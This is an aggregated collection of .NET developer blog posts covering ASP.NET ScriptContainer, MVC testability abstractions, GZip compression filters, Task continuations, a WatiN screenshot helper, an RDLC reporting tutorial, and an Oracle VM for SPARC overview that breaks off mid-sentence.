ScriptContainer Current { get { // We need a context for this to work! if (HttpContext.Current == null) return null; Page page = HttpContext.Current.CurrentHandler as Page; if (page == null) throw new InvalidOperationException(Resources.ERROR_ScriptContainer_OnlyWorks_With_PageBasedHandlers); ScriptContainer ctl = null; // Retrieve the current instance ctl = page.Items[STR_CONTEXTID] as ScriptContainer; if (ctl != null) return ctl; ctl = new ScriptContainer(); page.Form.Controls.Add(ctl); return ctl; } } The biggest issue with this approach is that you have to explicitly retrieve the page in the static Current property. Notice again the use of CurrentHandler (rather than Handler which was my original implementation) to ensure you get the latest page including the one that Server.Transfer fired. Server.Transfer and Server.Execute are Evil All that said – this fix is probably for the 2 people who are crazy enough to rely on Server.Transfer/Execute. :-} There are so many weird behavior problems with these commands that I avoid them at all costs. I don’t think I have a single application that uses either of these commands… Related Resources Full source of ClientScriptProxy.cs (repository) Part of the West Wind Web Toolkit Static Singletons for ASP.NET Controls Post © Rick Strahl, West Wind Technologies, 2005-2010Posted in ASP.NET  

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• Behind ASP.NET MVC Mock Objects

  - by imran_ku07

     Introduction:           I think this sentence now become very familiar to ASP.NET MVC developers that "ASP.NET MVC is designed with testability in mind". But what ASP.NET MVC team did for making applications build with ASP.NET MVC become easily testable? Understanding this is also very important because it gives you some help when designing custom classes. So in this article i will discuss some abstract classes provided by ASP.NET MVC team for the various ASP.NET intrinsic objects, including HttpContext, HttpRequest, and HttpResponse for making these objects as testable. I will also discuss that why it is hard and difficult to test ASP.NET Web Forms.      Description:           Starting from Classic ASP to ASP.NET MVC, ASP.NET Intrinsic objects is extensively used in all form of web application. They provide information about Request, Response, Server, Application and so on. But ASP.NET MVC uses these intrinsic objects in some abstract manner. The reason for this abstraction is to make your application testable. So let see the abstraction.           As we know that ASP.NET MVC uses the same runtime engine as ASP.NET Web Form uses, therefore the first receiver of the request after IIS and aspnet_filter.dll is aspnet_isapi.dll. This will start the application domain. With the application domain up and running, ASP.NET does some initialization and after some initialization it will call Application_Start if it is defined. Then the normal HTTP pipeline event handlers will be executed including both HTTP Modules and global.asax event handlers. One of the HTTP Module is registered by ASP.NET MVC is UrlRoutingModule. The purpose of this module is to match a route defined in global.asax. Every matched route must have IRouteHandler. In default case this is MvcRouteHandler which is responsible for determining the HTTP Handler which returns MvcHandler (which is derived from IHttpHandler). In simple words, Route has MvcRouteHandler which returns MvcHandler which is the IHttpHandler of current request. In between HTTP pipeline events the handler of ASP.NET MVC, MvcHandler.ProcessRequest will be executed and shown as given below,          void IHttpHandler.ProcessRequest(HttpContext context)          {                    this.ProcessRequest(context);          }          protected virtual void ProcessRequest(HttpContext context)          {                    // HttpContextWrapper inherits from HttpContextBase                    HttpContextBase ctxBase = new HttpContextWrapper(context);                    this.ProcessRequest(ctxBase);          }          protected internal virtual void ProcessRequest(HttpContextBase ctxBase)          {                    . . .          }             HttpContextBase is the base class. HttpContextWrapper inherits from HttpContextBase, which is the parent class that include information about a single HTTP request. This is what ASP.NET MVC team did, just wrap old instrinsic HttpContext into HttpContextWrapper object and provide opportunity for other framework to provide their own implementation of HttpContextBase. For example           public class MockHttpContext : HttpContextBase          {                    . . .          }                     As you can see, it is very easy to create your own HttpContext. That's what did the third party mock frameworks like TypeMock, Moq, RhinoMocks, or NMock2 to provide their own implementation of ASP.NET instrinsic objects classes.           The key point to note here is the types of ASP.NET instrinsic objects. In ASP.NET Web Form and ASP.NET MVC. For example in ASP.NET Web Form the type of Request object is HttpRequest (which is sealed) and in ASP.NET MVC the type of Request object is HttpRequestBase. This is one of the reason that makes test in ASP.NET WebForm is difficult. because their is no base class and the HttpRequest class is sealed, therefore it cannot act as a base class to others. On the other side ASP.NET MVC always uses a base class to give a chance to third parties and unit test frameworks to create thier own implementation ASP.NET instrinsic object.           Therefore we can say that in ASP.NET MVC, instrinsic objects are of type base classes (for example HttpContextBase) .Actually these base classes had it's own implementation of same interface as the intrinsic objects it abstracts. It includes only virtual members which simply throws an exception. ASP.NET MVC also provides the corresponding wrapper classes (for example, HttpRequestWrapper) which provides a concrete implementation of the base classes in the form of ASP.NET intrinsic object. Other wrapper classes may be defined by third parties in the form of a mock object for testing purpose.           So we can say that a Request object in ASP.NET MVC may be HttpRequestWrapper or may be MockRequestWrapper(assuming that MockRequestWrapper class is used for testing purpose). Here is list of ASP.NET instrinsic and their implementation in ASP.NET MVC in the form of base and wrapper classes. Base Class Wrapper Class ASP.NET Intrinsic Object Description HttpApplicationStateBase HttpApplicationStateWrapper Application HttpApplicationStateBase abstracts the intrinsic Application object HttpBrowserCapabilitiesBase HttpBrowserCapabilitiesWrapper HttpBrowserCapabilities HttpBrowserCapabilitiesBase abstracts the HttpBrowserCapabilities class HttpCachePolicyBase HttpCachePolicyWrapper HttpCachePolicy HttpCachePolicyBase abstracts the HttpCachePolicy class HttpContextBase HttpContextWrapper HttpContext HttpContextBase abstracts the intrinsic HttpContext object HttpFileCollectionBase HttpFileCollectionWrapper HttpFileCollection HttpFileCollectionBase abstracts the HttpFileCollection class HttpPostedFileBase HttpPostedFileWrapper HttpPostedFile HttpPostedFileBase abstracts the HttpPostedFile class HttpRequestBase HttpRequestWrapper Request HttpRequestBase abstracts the intrinsic Request object HttpResponseBase HttpResponseWrapper Response HttpResponseBase abstracts the intrinsic Response object HttpServerUtilityBase HttpServerUtilityWrapper Server HttpServerUtilityBase abstracts the intrinsic Server object HttpSessionStateBase HttpSessionStateWrapper Session HttpSessionStateBase abstracts the intrinsic Session object HttpStaticObjectsCollectionBase HttpStaticObjectsCollectionWrapper HttpStaticObjectsCollection HttpStaticObjectsCollectionBase abstracts the HttpStaticObjectsCollection class      Summary:           ASP.NET MVC provides a set of abstract classes for ASP.NET instrinsic objects in the form of base classes, allowing someone to create their own implementation. In addition, ASP.NET MVC also provide set of concrete classes in the form of wrapper classes. This design really makes application easier to test and even application may replace concrete implementation with thier own implementation, which makes ASP.NET MVC very flexable.

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• GZip/Deflate Compression in ASP.NET MVC

  - by Rick Strahl

  A long while back I wrote about GZip compression in ASP.NET. In that article I describe two generic helper methods that I've used in all sorts of ASP.NET application from WebForms apps to HttpModules and HttpHandlers that require gzip or deflate compression. The same static methods also work in ASP.NET MVC. Here are the two routines:/// <summary> /// Determines if GZip is supported /// </summary> /// <returns></returns> public static bool IsGZipSupported() { string AcceptEncoding = HttpContext.Current.Request.Headers["Accept-Encoding"]; if (!string.IsNullOrEmpty(AcceptEncoding) && (AcceptEncoding.Contains("gzip") || AcceptEncoding.Contains("deflate"))) return true; return false; } /// <summary> /// Sets up the current page or handler to use GZip through a Response.Filter /// IMPORTANT: /// You have to call this method before any output is generated! /// </summary> public static void GZipEncodePage() { HttpResponse Response = HttpContext.Current.Response; if (IsGZipSupported()) { string AcceptEncoding = HttpContext.Current.Request.Headers["Accept-Encoding"]; if (AcceptEncoding.Contains("gzip")) { Response.Filter = new System.IO.Compression.GZipStream(Response.Filter, System.IO.Compression.CompressionMode.Compress); Response.Headers.Remove("Content-Encoding"); Response.AppendHeader("Content-Encoding", "gzip"); } else { Response.Filter = new System.IO.Compression.DeflateStream(Response.Filter, System.IO.Compression.CompressionMode.Compress); Response.Headers.Remove("Content-Encoding"); Response.AppendHeader("Content-Encoding", "deflate"); } } // Allow proxy servers to cache encoded and unencoded versions separately Response.AppendHeader("Vary", "Content-Encoding"); } The first method checks whether the client sending the request includes the accept-encoding for either gzip or deflate, and if if it does it returns true. The second function uses IsGzipSupported() to decide whether it should encode content and uses an Response Filter to do its job. Basically response filters look at the Response output stream as it's written and convert the data flowing through it. Filters are a bit tricky to work with but the two .NET filter streams for GZip and Deflate Compression make this a snap to implement. In my old code and even now in MVC I can always do:public ActionResult List(string keyword=null, int category=0) { WebUtils.GZipEncodePage(); …} to encode my content. And that works just fine. The proper way: Create an ActionFilterAttribute However in MVC this sort of thing is typically better handled by an ActionFilter which can be applied with an attribute. So to be all prim and proper I created an CompressContentAttribute ActionFilter that incorporates those two helper methods and which looks like this:/// <summary> /// Attribute that can be added to controller methods to force content /// to be GZip encoded if the client supports it /// </summary> public class CompressContentAttribute : ActionFilterAttribute { /// <summary> /// Override to compress the content that is generated by /// an action method. /// </summary> /// <param name="filterContext"></param> public override void OnActionExecuting(ActionExecutingContext filterContext) { GZipEncodePage(); } /// <summary> /// Determines if GZip is supported /// </summary> /// <returns></returns> public static bool IsGZipSupported() { string AcceptEncoding = HttpContext.Current.Request.Headers["Accept-Encoding"]; if (!string.IsNullOrEmpty(AcceptEncoding) && (AcceptEncoding.Contains("gzip") || AcceptEncoding.Contains("deflate"))) return true; return false; } /// <summary> /// Sets up the current page or handler to use GZip through a Response.Filter /// IMPORTANT: /// You have to call this method before any output is generated! /// </summary> public static void GZipEncodePage() { HttpResponse Response = HttpContext.Current.Response; if (IsGZipSupported()) { string AcceptEncoding = HttpContext.Current.Request.Headers["Accept-Encoding"]; if (AcceptEncoding.Contains("gzip")) { Response.Filter = new System.IO.Compression.GZipStream(Response.Filter, System.IO.Compression.CompressionMode.Compress); Response.Headers.Remove("Content-Encoding"); Response.AppendHeader("Content-Encoding", "gzip"); } else { Response.Filter = new System.IO.Compression.DeflateStream(Response.Filter, System.IO.Compression.CompressionMode.Compress); Response.Headers.Remove("Content-Encoding"); Response.AppendHeader("Content-Encoding", "deflate"); } } // Allow proxy servers to cache encoded and unencoded versions separately Response.AppendHeader("Vary", "Content-Encoding"); } } It's basically the same code wrapped into an ActionFilter attribute, which intercepts requests MVC requests to Controller methods and lets you hook up logic before and after the methods have executed. Here I want to override OnActionExecuting() which fires before the Controller action is fired. With the CompressContentAttribute created, it can now be applied to either the controller as a whole:[CompressContent] public class ClassifiedsController : ClassifiedsBaseController { … } or to one of the Action methods:[CompressContent] public ActionResult List(string keyword=null, int category=0) { … } The former applies compression to every action method, while the latter is selective and only applies it to the individual action method. Is the attribute better than the static utility function? Not really, but it is the standard MVC way to hook up 'filter' content and that's where others are likely to expect to set options like this. In fact,  you have a bit more control with the utility function because you can conditionally apply it in code, but this is actually much less likely in MVC applications than old WebForms apps since controller methods tend to be more focused. Compression Caveats Http compression is very cool and pretty easy to implement in ASP.NET but you have to be careful with it - especially if your content might get transformed or redirected inside of ASP.NET. A good example, is if an error occurs and a compression filter is applied. ASP.NET errors don't clear the filter, but clear the Response headers which results in some nasty garbage because the compressed content now no longer matches the headers. Another issue is Caching, which has to account for all possible ways of compression and non-compression that the content is served. Basically compressed content and caching don't mix well. I wrote about several of these issues in an old blog post and I recommend you take a quick peek before diving into making every bit of output Gzip encoded. None of these are show stoppers, but you have to be aware of the issues. Related Posts GZip Compression with ASP.NET Content ASP.NET GZip Encoding Caveats© Rick Strahl, West Wind Technologies, 2005-2012Posted in ASP.NET  MVC   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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• Parallelism in .NET – Part 18, Task Continuations with Multiple Tasks

  - by Reed

  In my introduction to Task continuations I demonstrated how the Task class provides a more expressive alternative to traditional callbacks.  Task continuations provide a much cleaner syntax to traditional callbacks, but there are other reasons to switch to using continuations… Task continuations provide a clean syntax, and a very simple, elegant means of synchronizing asynchronous method results with the user interface.  In addition, continuations provide a very simple, elegant means of working with collections of tasks. Prior to .NET 4, working with multiple related asynchronous method calls was very tricky.  If, for example, we wanted to run two asynchronous operations, followed by a single method call which we wanted to run when the first two methods completed, we’d have to program all of the handling ourselves.  We would likely need to take some approach such as using a shared callback which synchronized against a common variable, or using a WaitHandle shared within the callbacks to allow one to wait for the second.  Although this could be accomplished easily enough, it requires manually placing this handling into every algorithm which requires this form of blocking.  This is error prone, difficult, and can easily lead to subtle bugs. Similar to how the Task class static methods providing a way to block until multiple tasks have completed, TaskFactory contains static methods which allow a continuation to be scheduled upon the completion of multiple tasks: TaskFactory.ContinueWhenAll. This allows you to easily specify a single delegate to run when a collection of tasks has completed.  For example, suppose we have a class which fetches data from the network.  This can be a long running operation, and potentially fail in certain situations, such as a server being down.  As a result, we have three separate servers which we will “query” for our information.  Now, suppose we want to grab data from all three servers, and verify that the results are the same from all three. With traditional asynchronous programming in .NET, this would require using three separate callbacks, and managing the synchronization between the various operations ourselves.  The Task and TaskFactory classes simplify this for us, allowing us to write: var server1 = Task.Factory.StartNew( () => networkClass.GetResults(firstServer) ); var server2 = Task.Factory.StartNew( () => networkClass.GetResults(secondServer) ); var server3 = Task.Factory.StartNew( () => networkClass.GetResults(thirdServer) ); var result = Task.Factory.ContinueWhenAll( new[] {server1, server2, server3 }, (tasks) => { // Propogate exceptions (see below) Task.WaitAll(tasks); return this.CompareTaskResults( tasks[0].Result, tasks[1].Result, tasks[2].Result); }); .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } This is clean, simple, and elegant.  The one complication is the Task.WaitAll(tasks); statement. Although the continuation will not complete until all three tasks (server1, server2, and server3) have completed, there is a potential snag.  If the networkClass.GetResults method fails, and raises an exception, we want to make sure to handle it cleanly.  By using Task.WaitAll, any exceptions raised within any of our original tasks will get wrapped into a single AggregateException by the WaitAll method, providing us a simplified means of handling the exceptions.  If we wait on the continuation, we can trap this AggregateException, and handle it cleanly.  Without this line, it’s possible that an exception could remain uncaught and unhandled by a task, which later might trigger a nasty UnobservedTaskException.  This would happen any time two of our original tasks failed. Just as we can schedule a continuation to occur when an entire collection of tasks has completed, we can just as easily setup a continuation to run when any single task within a collection completes.  If, for example, we didn’t need to compare the results of all three network locations, but only use one, we could still schedule three tasks.  We could then have our completion logic work on the first task which completed, and ignore the others.  This is done via TaskFactory.ContinueWhenAny: var server1 = Task.Factory.StartNew( () => networkClass.GetResults(firstServer) ); var server2 = Task.Factory.StartNew( () => networkClass.GetResults(secondServer) ); var server3 = Task.Factory.StartNew( () => networkClass.GetResults(thirdServer) ); var result = Task.Factory.ContinueWhenAny( new[] {server1, server2, server3 }, (firstTask) => { return this.ProcessTaskResult(firstTask.Result); }); .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } Here, instead of working with all three tasks, we’re just using the first task which finishes.  This is very useful, as it allows us to easily work with results of multiple operations, and “throw away” the others.  However, you must take care when using ContinueWhenAny to properly handle exceptions.  At some point, you should always wait on each task (or use the Task.Result property) in order to propogate any exceptions raised from within the task.  Failing to do so can lead to an UnobservedTaskException.

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• WatiN screenshot saver

  - by Brian Schroer

  In addition to my automated unit, system and integration tests for ASP.NET projects, I like to give my customers something pretty that they can look at and visually see that the web site is behaving properly. I use the Gallio test runner to produce a pretty HTML report, and WatiN (Web Application Testing In .NET) to test the UI and create screenshots. I have a couple of issues with WatiN’s “CaptureWebPageToFile” method, though: It blew up the first (and only) time I tried it, possibly because… It scrolls down to capture the entire web page (I tried it on a very long page), and I usually don’t need that Also, sometimes I don’t need a picture of the whole browser window - I just want a picture of the element that I'm testing (for example, proving that a button has the correct caption). I wrote a WatiN screenshot saver helper class with these methods: SaveBrowserWindowScreenshot(Watin.Core.IE ie)  / SaveBrowserWindowScreenshot(Watin.Core.Element element) saves a screenshot of the browser window SaveBrowserWindowScreenshotWithHighlight(Watin.Core.Element element) saves a screenshot of the browser window, with the specified element scrolled into view and highlighted SaveElementScreenshot(Watin.Core.Element element) saves a picture of only the specified element The element highlighting improves on the built-in WatiN method (which just gives the element a yellow background, and makes the element pretty much unreadable when you have a light foreground color) by adding the ability to specify a HighlightCssClassName that points to a style in your site’s stylesheet. This code is specifically for testing with Internet Explorer (‘cause that’s what I have to test with at work), but you’re welcome to take it and do with it what you want… using System; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.Text; using System.Threading; using SHDocVw; using WatiN.Core; using mshtml; namespace BrianSchroer.TestHelpers { public static class WatinScreenshotSaver { public static void SaveBrowserWindowScreenshotWithHighlight (Element element, string screenshotName) { HighlightElement(element, true); SaveBrowserWindowScreenshot(element, screenshotName); HighlightElement(element, false); } public static void SaveBrowserWindowScreenshotWithHighlight(Element element) { HighlightElement(element, true); SaveBrowserWindowScreenshot(element); HighlightElement(element, false); } public static void SaveBrowserWindowScreenshot(Element element, string screenshotName) { SaveScreenshot(GetIe(element), screenshotName, SaveBitmapForCallbackArgs); } public static void SaveBrowserWindowScreenshot(Element element) { SaveScreenshot(GetIe(element), null, SaveBitmapForCallbackArgs); } public static void SaveBrowserWindowScreenshot(IE ie, string screenshotName) { SaveScreenshot(ie, screenshotName, SaveBitmapForCallbackArgs); } public static void SaveBrowserWindowScreenshot(IE ie) { SaveScreenshot(ie, null, SaveBitmapForCallbackArgs); } public static void SaveElementScreenshot(Element element, string screenshotName) { // TODO: Figure out how to get browser window "chrome" size and not have to go to full screen: var iex = (InternetExplorerClass) GetIe(element).InternetExplorer; bool fullScreen = iex.FullScreen; if (!fullScreen) iex.FullScreen = true; ScrollIntoView(element); SaveScreenshot(GetIe(element), screenshotName, args => SaveElementBitmapForCallbackArgs(element, args)); iex.FullScreen = fullScreen; } public static void SaveElementScreenshot(Element element) { SaveElementScreenshot(element, null); } private static void SaveScreenshot(IE browser, string screenshotName, Action<ScreenshotCallbackArgs> screenshotCallback) { string fileName = string.Format("{0:000}{1}{2}.jpg", ++_screenshotCount, (string.IsNullOrEmpty(screenshotName)) ? "" : " ", screenshotName); string path = Path.Combine(ScreenshotDirectoryName, fileName); Console.WriteLine(); // Gallio HTML-encodes the following display, but I have a utility program to // remove the "HTML===" and "===HTML" and un-encode the rest to show images in the Gallio report: Console.WriteLine("HTML===<div><b>{0}:</br></b><img src=\"{1}\" /></div>===HTML", screenshotName, new Uri(path).AbsoluteUri); MakeBrowserWindowTopmost(browser); try { var args = new ScreenshotCallbackArgs { InternetExplorerClass = (InternetExplorerClass)browser.InternetExplorer, ScreenshotPath = path }; Thread.Sleep(100); screenshotCallback(args); } catch (Exception ex) { Console.WriteLine(ex.Message); } } public static void HighlightElement(Element element, bool doHighlight) { if (!element.Exists) return; if (string.IsNullOrEmpty(HighlightCssClassName)) { element.Highlight(doHighlight); return; } string jsRef = element.GetJavascriptElementReference(); if (string.IsNullOrEmpty(jsRef)) return; var sb = new StringBuilder("try { "); sb.AppendFormat(" {0}.scrollIntoView(false);", jsRef); string format = (doHighlight) ? "{0}.className += ' {1}'" : "{0}.className = {0}.className.replace(' {1}', '')"; sb.AppendFormat(" " + format + ";", jsRef, HighlightCssClassName); sb.Append("} catch(e) {}"); string script = sb.ToString(); GetIe(element).RunScript(script); } public static void ScrollIntoView(Element element) { string jsRef = element.GetJavascriptElementReference(); if (string.IsNullOrEmpty(jsRef)) return; var sb = new StringBuilder("try { "); sb.AppendFormat(" {0}.scrollIntoView(false);", jsRef); sb.Append("} catch(e) {}"); string script = sb.ToString(); GetIe(element).RunScript(script); } public static void MakeBrowserWindowTopmost(IE ie) { ie.BringToFront(); SetWindowPos(ie.hWnd, HWND_TOPMOST, 0, 0, 0, 0, TOPMOST_FLAGS); } public static string HighlightCssClassName { get; set; } private static int _screenshotCount; private static string _screenshotDirectoryName; public static string ScreenshotDirectoryName { get { if (_screenshotDirectoryName == null) { var asm = Assembly.GetAssembly(typeof(WatinScreenshotSaver)); var uri = new Uri(asm.CodeBase); var fileInfo = new FileInfo(uri.LocalPath); string directoryName = fileInfo.DirectoryName; _screenshotDirectoryName = Path.Combine( directoryName, string.Format("Screenshots_{0:yyyyMMddHHmm}", DateTime.Now)); Console.WriteLine("Screenshot folder: {0}", _screenshotDirectoryName); Directory.CreateDirectory(_screenshotDirectoryName); } return _screenshotDirectoryName; } set { _screenshotDirectoryName = value; _screenshotCount = 0; } } [DllImport("user32.dll")] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); private static readonly IntPtr HWND_TOPMOST = new IntPtr(-1); private const UInt32 SWP_NOSIZE = 0x0001; private const UInt32 SWP_NOMOVE = 0x0002; private const UInt32 TOPMOST_FLAGS = SWP_NOMOVE | SWP_NOSIZE; private static IE GetIe(Element element) { if (element == null) return null; var container = element.DomContainer; while (container as IE == null) container = container.DomContainer; return (IE)container; } private static void SaveBitmapForCallbackArgs(ScreenshotCallbackArgs args) { InternetExplorerClass iex = args.InternetExplorerClass; SaveBitmap(args.ScreenshotPath, iex.Left, iex.Top, iex.Width, iex.Height); } private static void SaveElementBitmapForCallbackArgs(Element element, ScreenshotCallbackArgs args) { InternetExplorerClass iex = args.InternetExplorerClass; Rectangle bounds = GetElementBounds(element); SaveBitmap(args.ScreenshotPath, iex.Left + bounds.Left, iex.Top + bounds.Top, bounds.Width, bounds.Height); } /// <summary> /// This method is used instead of element.NativeElement.GetElementBounds because that /// method has a bug (http://sourceforge.net/tracker/?func=detail&aid=2994660&group_id=167632&atid=843727). /// </summary> private static Rectangle GetElementBounds(Element element) { var ieElem = element.NativeElement as WatiN.Core.Native.InternetExplorer.IEElement; IHTMLElement elem = ieElem.AsHtmlElement; int left = elem.offsetLeft; int top = elem.offsetTop; for (IHTMLElement parent = elem.offsetParent; parent != null; parent = parent.offsetParent) { left += parent.offsetLeft; top += parent.offsetTop; } return new Rectangle(left, top, elem.offsetWidth, elem.offsetHeight); } private static void SaveBitmap(string path, int left, int top, int width, int height) { using (var bitmap = new Bitmap(width, height)) { using (Graphics g = Graphics.FromImage(bitmap)) { g.CopyFromScreen( new Point(left, top), Point.Empty, new Size(width, height) ); } bitmap.Save(path, ImageFormat.Jpeg); } } private class ScreenshotCallbackArgs { public InternetExplorerClass InternetExplorerClass { get; set; } public string ScreenshotPath { get; set; } } } }

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• Creating an ASP.NET report using Visual Studio 2010 - Part 1

  - by rajbk

  This tutorial walks you through creating an report based on the Northwind sample database. You will add a client report definition file (RDLC), create a dataset for the RDLC, define queries using LINQ to Entities, design the report and add a ReportViewer web control to render the report in a ASP.NET web page. The report will have a chart control. Different results will be generated by changing filter criteria. At the end of the walkthrough, you should have a UI like the following.  From the UI below, a user is able to view the product list and can see a chart with the sum of Unit price for a given category. They can filter by Category and Supplier. The drop downs will auto post back when the selection is changed.  This demo uses Visual Studio 2010 RTM. This post is split into three parts. The last part has the sample code attached. Creating an ASP.NET report using Visual Studio 2010 - Part 2 Creating an ASP.NET report using Visual Studio 2010 - Part 3   Lets start by creating a new ASP.NET empty web application called “NorthwindReports” Creating the Data Access Layer (DAL) Add a web form called index.aspx to the root directory. You do this by right clicking on the NorthwindReports web project and selecting “Add item..” . Create a folder called “DAL”. We will store all our data access methods and any data transfer objects in here.   Right click on the DAL folder and add a ADO.NET Entity data model called Northwind. Select “Generate from database” and click Next. Create a connection to your database containing the Northwind sample database and click Next.   From the table list, select Categories, Products and Suppliers and click next. Our Entity data model gets created and looks like this:    Adding data transfer objects Right click on the DAL folder and add a ProductViewModel. Add the following code. This class contains properties we need to render our report. public class ProductViewModel { public int? ProductID { get; set; } public string ProductName { get; set; } public System.Nullable<decimal> UnitPrice { get; set; } public string CategoryName { get; set; } public int? CategoryID { get; set; } public int? SupplierID { get; set; } public bool Discontinued { get; set; } } Add a SupplierViewModel class. This will be used to render the supplier DropDownlist. public class SupplierViewModel { public string CompanyName { get; set; } public int SupplierID { get; set; } } Add a CategoryViewModel class. public class CategoryViewModel { public string CategoryName { get; set; } public int CategoryID { get; set; } } Create an IProductRepository interface. This will contain the signatures of all the methods we need when accessing the entity model.  This step is not needed but follows the repository pattern. interface IProductRepository { IQueryable<Product> GetProducts(); IQueryable<ProductViewModel> GetProductsProjected(int? supplierID, int? categoryID); IQueryable<SupplierViewModel> GetSuppliers(); IQueryable<CategoryViewModel> GetCategories(); } Create a ProductRepository class that implements the IProductReposity above. The methods available in this class are as follows: GetProducts – returns an IQueryable of all products. GetProductsProjected – returns an IQueryable of ProductViewModel. The method filters all the products based on SupplierId and CategoryId if any. It then projects the result into the ProductViewModel. GetSuppliers() – returns an IQueryable of all suppliers projected into a SupplierViewModel GetCategories() – returns an IQueryable of all categories projected into a CategoryViewModel  public class ProductRepository : IProductRepository { /// <summary> /// IQueryable of all Products /// </summary> /// <returns></returns> public IQueryable<Product> GetProducts() { var dataContext = new NorthwindEntities(); var products = from p in dataContext.Products select p; return products; }   /// <summary> /// IQueryable of Projects projected /// into the ProductViewModel class /// </summary> /// <returns></returns> public IQueryable<ProductViewModel> GetProductsProjected(int? supplierID, int? categoryID) { var projectedProducts = from p in GetProducts() select new ProductViewModel { ProductID = p.ProductID, ProductName = p.ProductName, UnitPrice = p.UnitPrice, CategoryName = p.Category.CategoryName, CategoryID = p.CategoryID, SupplierID = p.SupplierID, Discontinued = p.Discontinued }; // Filter on SupplierID if (supplierID.HasValue) { projectedProducts = projectedProducts.Where(a => a.SupplierID == supplierID); }   // Filter on CategoryID if (categoryID.HasValue) { projectedProducts = projectedProducts.Where(a => a.CategoryID == categoryID); }   return projectedProducts; }     public IQueryable<SupplierViewModel> GetSuppliers() { var dataContext = new NorthwindEntities(); var suppliers = from s in dataContext.Suppliers select new SupplierViewModel { SupplierID = s.SupplierID, CompanyName = s.CompanyName }; return suppliers; }   public IQueryable<CategoryViewModel> GetCategories() { var dataContext = new NorthwindEntities(); var categories = from c in dataContext.Categories select new CategoryViewModel { CategoryID = c.CategoryID, CategoryName = c.CategoryName }; return categories; } } Your solution explorer should look like the following. Build your project and make sure you don’t get any errors. In the next part, we will see how to create the client report definition file using the Report Wizard.   Creating an ASP.NET report using Visual Studio 2010 - Part 2

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• Introducing Oracle VM Server for SPARC

  - by Honglin Su

  As you are watching Oracle's Virtualization Strategy Webcast and exploring the great virtualization offerings of Oracle VM product line, I'd like to introduce Oracle VM Server for SPARC --  highly efficient, enterprise-class virtualization solution for Sun SPARC Enterprise Systems with Chip Multithreading (CMT) technology. Oracle VM Server for SPARC, previously called Sun Logical Domains, leverages the built-in SPARC hypervisor to subdivide supported platforms' resources (CPUs, memory, network, and storage) by creating partitions called logical (or virtual) domains. Each logical domain can run an independent operating system. Oracle VM Server for SPARC provides the flexibility to deploy multiple Oracle Solaris operating systems simultaneously on a single platform. Oracle VM Server also allows you to create up to 128 virtual servers on one system to take advantage of the massive thread scale offered by the CMT architecture. Oracle VM Server for SPARC integrates both the industry-leading CMT capability of the UltraSPARC T1, T2 and T2 Plus processors and the Oracle Solaris operating system. This combination helps to increase flexibility, isolate workload processing, and improve the potential for maximum server utilization. Oracle VM Server for SPARC delivers the following: Leading Price/Performance - The low-overhead architecture provides scalable performance under increasing workloads without additional license cost. This enables you to meet the most aggressive price/performance requirement Advanced RAS - Each logical domain is an entirely independent virtual machine with its own OS. It supports virtual disk mutipathing and failover as well as faster network failover with link-based IP multipathing (IPMP) support. Moreover, it's fully integrated with Solaris FMA (Fault Management Architecture), which enables predictive self healing. CPU Dynamic Resource Management (DRM) - Enable your resource management policy and domain workload to trigger the automatic addition and removal of CPUs. This ability helps you to better align with your IT and business priorities. Enhanced Domain Migrations - Perform domain migrations interactively and non-interactively to bring more flexibility to the management of your virtualized environment. Improve active domain migration performance by compressing memory transfers and taking advantage of cryptographic acceleration hardware. These methods provide faster migration for load balancing, power saving, and planned maintenance. Dynamic Crypto Control - Dynamically add and remove cryptographic units (aka MAU) to and from active domains. Also, migrate active domains that have cryptographic units. Physical-to-virtual (P2V) Conversion - Quickly convert an existing SPARC server running the Oracle Solaris 8, 9 or 10 OS into a virtualized Oracle Solaris 10 image. Use this image to facilitate OS migration into the virtualized environment. Virtual I/O Dynamic Reconfiguration (DR) - Add and remove virtual I/O services and devices without needing to reboot the system. CPU Power Management - Implement power saving by disabling each core on a Sun UltraSPARC T2 or T2 Plus processor that has all of its CPU threads idle. Advanced Network Configuration - Configure the following network features to obtain more flexible network configurations, higher performance, and scalability: Jumbo frames, VLANs, virtual switches for link aggregations, and network interface unit (NIU) hybrid I/O. Official Certification Based On Real-World Testing - Use Oracle VM Server for SPARC with the most sophisticated enterprise workloads under real-world conditions, including Oracle Real Application Clusters (RAC). Affordable, Full-Stack Enterprise Class Support - Obtain worldwide support from Oracle for the entire virtualization environment and workloads together. The support covers hardware, firmware, OS, virtualization, and the software stack. SPARC Server Virtualization Oracle offers a full portfolio of virtualization solutions to address your needs. SPARC is the leading platform to have the hard partitioning capability that provides the physical isolation needed to run independent operating systems. Many customers have already used Oracle Solaris Containers for application isolation. Oracle VM Server for SPARC provides another important feature with OS isolation. This gives you the flexibility to deploy multiple operating systems simultaneously on a single Sun SPARC T-Series server with finer granularity for computing resources.  For SPARC CMT processors, the natural level of granularity is an execution thread, not a time-sliced 